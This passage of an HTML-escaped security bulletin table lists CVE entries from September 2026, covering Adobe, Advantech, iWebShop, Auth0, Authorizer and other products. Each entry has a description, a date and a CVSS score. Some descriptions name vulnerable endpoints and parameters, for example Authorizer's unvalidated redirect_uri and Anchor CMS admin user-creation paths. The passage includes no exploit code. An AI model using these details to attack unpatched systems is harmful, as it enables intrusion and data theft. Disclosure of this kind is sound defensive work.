&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77111&quot; target=&quot;_blank&quot;&gt;CVE-2026-77111&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Commerce&lt;/td&gt;
&lt;td&gt;Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77774&quot; target=&quot;_blank&quot;&gt;CVE-2026-77774&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Commerce&lt;/td&gt;
&lt;td&gt;Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain elevated access to sensitive information. Exploitation of this issue does not require user interaction.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77108&quot; target=&quot;_blank&quot;&gt;CVE-2026-77108&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Commerce&lt;/td&gt;
&lt;td&gt;Adobe Commerce is affected by an Improper Limitation of a Pathname to a Restricted Directory (&#039;Path Traversal&#039;) vulnerability that could result in a Security feature bypass. An attacker with high privileges could leverage this vulnerability to access unauthorized files or directories outside the intended restrictions, causing a limited disruption to availability. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77110&quot; target=&quot;_blank&quot;&gt;CVE-2026-77110&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim&#039;s account or session. A low-privileged attacker could exploit this vulnerability to gain elevated access or control over the victim&#039;s account or session. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19232&quot; target=&quot;_blank&quot;&gt;CVE-2026-19232&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--ColdFusion 2025&lt;/td&gt;
&lt;td&gt;ColdFusion is affected by an Improper Neutralization of Directives in Dynamically Evaluated Code (&#039;Eval Injection&#039;) vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48273&quot; target=&quot;_blank&quot;&gt;CVE-2026-48273&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--ColdFusion 2025&lt;/td&gt;
&lt;td&gt;ColdFusion is affected by an Improper Neutralization of Special Elements used in an SQL Command (&#039;SQL Injection&#039;) vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75746&quot; target=&quot;_blank&quot;&gt;CVE-2026-75746&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--ColdFusion 2025&lt;/td&gt;
&lt;td&gt;ColdFusion is affected by a reflected Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim&#039;s account or session. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75993&quot; target=&quot;_blank&quot;&gt;CVE-2026-75993&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--ColdFusion 2025&lt;/td&gt;
&lt;td&gt;ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. The vulnerable component is restricted to an administrative network zone by default. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75999&quot; target=&quot;_blank&quot;&gt;CVE-2026-75999&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--ColdFusion 2025&lt;/td&gt;
&lt;td&gt;ColdFusion is affected by an Improper Neutralization of Directives in Dynamically Evaluated Code (&#039;Eval Injection&#039;) vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76190&quot; target=&quot;_blank&quot;&gt;CVE-2026-76190&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--ColdFusion 2025&lt;/td&gt;
&lt;td&gt;ColdFusion is affected by an Improper Access Control vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75998&quot; target=&quot;_blank&quot;&gt;CVE-2026-75998&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Illustrator Desktop 2026&lt;/td&gt;
&lt;td&gt;Illustrator is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75990&quot; target=&quot;_blank&quot;&gt;CVE-2026-75990&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Illustrator Desktop 2026&lt;/td&gt;
&lt;td&gt;Illustrator is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75991&quot; target=&quot;_blank&quot;&gt;CVE-2026-75991&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Illustrator Desktop 2026&lt;/td&gt;
&lt;td&gt;Illustrator is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75992&quot; target=&quot;_blank&quot;&gt;CVE-2026-75992&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Photoshop 2026&lt;/td&gt;
&lt;td&gt;Photoshop Desktop is affected by an Uncontrolled Search Path Element vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76199&quot; target=&quot;_blank&quot;&gt;CVE-2026-76199&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Photoshop 2026&lt;/td&gt;
&lt;td&gt;Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75631&quot; target=&quot;_blank&quot;&gt;CVE-2026-75631&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Photoshop 2026&lt;/td&gt;
&lt;td&gt;Photoshop Desktop is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75771&quot; target=&quot;_blank&quot;&gt;CVE-2026-75771&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Photoshop 2026&lt;/td&gt;
&lt;td&gt;Photoshop Desktop is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75862&quot; target=&quot;_blank&quot;&gt;CVE-2026-75862&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Photoshop 2026&lt;/td&gt;
&lt;td&gt;Photoshop Desktop is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75863&quot; target=&quot;_blank&quot;&gt;CVE-2026-75863&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Photoshop 2026&lt;/td&gt;
&lt;td&gt;Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82005&quot; target=&quot;_blank&quot;&gt;CVE-2026-82005&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Photoshop 2026&lt;/td&gt;
&lt;td&gt;Photoshop Desktop is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82006&quot; target=&quot;_blank&quot;&gt;CVE-2026-82006&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Photoshop 2026&lt;/td&gt;
&lt;td&gt;Photoshop Desktop is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82007&quot; target=&quot;_blank&quot;&gt;CVE-2026-82007&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Photoshop Android&lt;/td&gt;
&lt;td&gt;Photoshop Mobile is affected by a Session Fixation vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain access to sensitive resources. Exploit depends on conditions beyond the attacker&#039;s control. Exploitation of this issue requires user interaction in that a victim must interact with a malicious webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76196&quot; target=&quot;_blank&quot;&gt;CVE-2026-76196&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Advantech--WISE-6610-NB&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in Advantech WISE-6610-NB, WISE-6610-EB, WISE-6610-TB, WISE-6610-JB, WISE-6610-CB, WISE-6610-EL-NB, WISE-6610-EL-EB, WISE-6610-EL-TB, WISE-6610-EL-JB, WISE-6610-EL-CB, WISE-6610P-DEA, WISE-6610P-DNA and WISE-6610P-DTA 1.2.1_20251110. This affects the function basicstation_apply of the component Basic Station Certificate-Deletion Handler. This manipulation of the argument act causes command injection. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 1.2.4_20260821 is able to mitigate this issue. Upgrading the affected component is advised. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79697&quot; target=&quot;_blank&quot;&gt;CVE-2026-79697&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Advantech--WISE-6610-NB&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in Advantech WISE-6610-NB, WISE-6610-EB, WISE-6610-TB, WISE-6610-JB, WISE-6610-CB, WISE-6610-EL-NB, WISE-6610-EL-EB, WISE-6610-EL-TB, WISE-6610-EL-JB, WISE-6610-EL-CB, WISE-6610P-DEA, WISE-6610P-DNA and WISE-6610P-DTA 1.2.1_20251110. This vulnerability affects the function nodered_lib_apply of the component Node-RED Library. Such manipulation of the argument act leads to command injection. The attack can be launched remotely. The exploit is publicly available and might be used. Upgrading to version 1.2.4_20260821 is able to resolve this issue. It is advisable to upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79698&quot; target=&quot;_blank&quot;&gt;CVE-2026-79698&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;aircheng-org--iWebShop-5&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in aircheng-org iWebShop-5 up to 5.15. This issue affects the function Update::index of the file controllers/update.php. The manipulation leads to missing authorization. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86665&quot; target=&quot;_blank&quot;&gt;CVE-2026-86665&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;aircheng-org--iWebShop-5&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in aircheng-org iWebShop-5 up to 5.15. Impacted is the function upload_json/uploadFile of the file controllers/pic.php. The manipulation results in unrestricted upload. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86666&quot; target=&quot;_blank&quot;&gt;CVE-2026-86666&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;aircheng-org--iWebShop-5&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in aircheng-org iWebShop-5 up to 5.15. This affects the function Login of the file controllers/systemseller.php. Performing a manipulation of the argument Name results in improper authentication. It is possible to initiate the attack remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86669&quot; target=&quot;_blank&quot;&gt;CVE-2026-86669&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Amazon--Deep Java Library&lt;/td&gt;
&lt;td&gt;An integer overflow in the tensor buffer validation component in Amazon Deep Java Library (DJL) from 0.13.0 through 0.36.0 on all platforms might allow a remote unauthenticated actor to obtain information from adjacent process memory or cause a denial of service via a crafted tensor payload. To remediate this issue, users should upgrade to version 0.37.0 or above.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85228&quot; target=&quot;_blank&quot;&gt;CVE-2026-85228&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;amundsen-io--amundsen-frontend&lt;/td&gt;
&lt;td&gt;Amundsen frontend through 4.3.0 renders table, dashboard, and feature descriptions with dangerouslySetInnerHTML without HTML sanitization in ResourceListItem components. Attackers can inject malicious markup like img elements with onerror handlers into descriptions via the metadata service or Elasticsearch, executing JavaScript in every user&#039;s browser that views search results.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90772&quot; target=&quot;_blank&quot;&gt;CVE-2026-90772&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;anchorcms--Anchor CMS&lt;/td&gt;
&lt;td&gt;Anchor CMS through 0.12.7 fails to enforce role-based access control in admin user-management endpoints, allowing any authenticated low-privilege user to create administrator accounts or modify existing ones. Attackers with editor or user roles can POST directly to admin/users/add or admin/users/edit endpoints to create new administrator accounts or change the existing administrator&#039;s password, gaining full administrative access.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88959&quot; target=&quot;_blank&quot;&gt;CVE-2026-88959&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Anil-matcha--Open-Generative-AI&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in Anil-matcha Open-Generative-AI up to 1.0.11/2.0.0. Affected by this issue is some unknown functionality of the file /api/upload-binary of the component S3 Upload. Such manipulation of the argument x-proxy-target-url leads to unrestricted upload. The attack may be launched remotely. The name of the patch is f013270957f75e439eaf97eb2a93decb32a4543e. Applying a patch is advised to resolve this issue.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90603&quot; target=&quot;_blank&quot;&gt;CVE-2026-90603&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ankaref Innovation and Technology Inc.--LIBRID/LIBREF&lt;/td&gt;
&lt;td&gt;Weak Password Recovery Mechanism for Forgotten Password vulnerability in Ankaref Innovation and Technology Inc. LIBRID/LIBREF allows Password Recovery Exploitation. This issue affects LIBRID/LIBREF: from 2.01.0.2183 through 10092026.&amp;nbsp;NOTE: The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6285&quot; target=&quot;_blank&quot;&gt;CVE-2026-6285&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Armiya Information Technologies Ltd. Co.--Access Control System&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an SQL command (&#039;SQL injection&#039;) vulnerability in Armiya Information Technologies Ltd. Co. Access Control System allows SQL Injection. This issue affects Access Control System: before Versiyon 2.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7188&quot; target=&quot;_blank&quot;&gt;CVE-2026-7188&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Armiya Information Technologies Ltd. Co.--Access Control System&lt;/td&gt;
&lt;td&gt;URL redirection to untrusted site (&#039;open redirect&#039;) vulnerability in Armiya Information Technologies Ltd. Co. Access Control System allows Fake the Source of Data. This issue affects Access Control System: before Versiyon 2.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8323&quot; target=&quot;_blank&quot;&gt;CVE-2026-8323&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;arraytics--Eventin Event Calendar, Tickets, Registration, Booking &amp;amp; WooCommerce&lt;/td&gt;
&lt;td&gt;The Eventin - Event Calendar, Event Registration, Tickets &amp;amp; Booking (AI Powered) plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.1.22 via the &#039;event_layout&#039; parameter parameter. This makes it possible for authenticated attackers, with custom-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15406&quot; target=&quot;_blank&quot;&gt;CVE-2026-15406&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;arraytics--Eventin Event Calendar, Tickets, Registration, Booking &amp;amp; WooCommerce&lt;/td&gt;
&lt;td&gt;The Eventin - Event Calendar, Event Registration, Tickets &amp;amp; Booking (AI Powered) plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.1.22 via the &#039;event_layout&#039; parameter parameter. This makes it possible for authenticated attackers, with contributor-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included. The etn_manage_event capability is assigned to Contributors by default, meaning any Contributor-level user can set the malicious event_layout value via the REST API without any additional configuration.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15667&quot; target=&quot;_blank&quot;&gt;CVE-2026-15667&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ateeq Rafeeq--RepairBuddy&lt;/td&gt;
&lt;td&gt;Subscriber Remote Code Execution (RCE) in RepairBuddy &amp;lt;= 4.1224 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81803&quot; target=&quot;_blank&quot;&gt;CVE-2026-81803&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Auth0--Auth0 AD/LDAP Connector&lt;/td&gt;
&lt;td&gt;The Auth0 AD/LDAP Connector is vulnerable to stored Cross-Site Scripting (XSS) issues due to improper HTML encoding of data in search results and updater log content displayed in the admin panel. An authenticated user with privileges to modify directory attributes, or a low-privileged local user on the host where the connector is installed, could insert script content. This script content could then execute in an administrator&#039;s browser when they view the affected search results or update logs.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85982&quot; target=&quot;_blank&quot;&gt;CVE-2026-85982&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Auth0--Auth0 AD/LDAP Connector&lt;/td&gt;
&lt;td&gt;The Auth0 AD/LDAP Connector improperly processes a configuration value during service startup. This allows a low-privileged user on the host system to modify the connector&#039;s configuration. When the service restarts, the modified configuration can lead to code execution with the privileges of the service account.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85983&quot; target=&quot;_blank&quot;&gt;CVE-2026-85983&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;authorizerdev--authorizer&lt;/td&gt;
&lt;td&gt;Authorizer is an open-source, self-hostable authentication and authorization server. Prior to version 2.2.1, the `/authorize` endpoint accepts any `redirect_uri` without validating it against `AllowedOrigins`. When `response_type=token` or `response_type=id_token`, the server appends `access_token`, `id_token`, and `refresh_token` as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required `client_id` from the public `/graphql?query={meta{client_id}}` endpoint. A partial fix was applied in v2.0.1 to other handlers (`oauth_login`, `verify_email`, `magic_link_login`, `forgot_password`, `invite_members`, `oauth_callback`) but `/authorize` was not included. Version 2.2.1 contains a more complete fix.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54072&quot; target=&quot;_blank&quot;&gt;CVE-2026-54072&lt;/a&gt;&lt;/td&gt;
